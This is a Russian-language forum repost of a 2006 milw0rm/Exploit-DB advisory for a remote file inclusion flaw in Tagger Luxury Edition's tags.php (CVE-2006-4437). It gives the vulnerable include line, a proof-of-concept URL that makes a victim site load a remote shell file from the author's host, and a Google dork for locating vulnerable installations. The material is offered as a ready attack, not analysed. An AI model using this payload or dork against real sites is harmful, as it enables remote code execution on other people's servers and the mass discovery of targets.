Exploit Tagger Luxury Edition - 'BBCodeFile' Remote File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
2157
Проверка EDB
  1. Пройдено
Автор
MORGAN
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2006-4437
Дата публикации
2006-08-09
Код:
Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC: 
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan 

# milw0rm.com [2006-08-09]
 
Источник
www.exploit-db.com

Похожие темы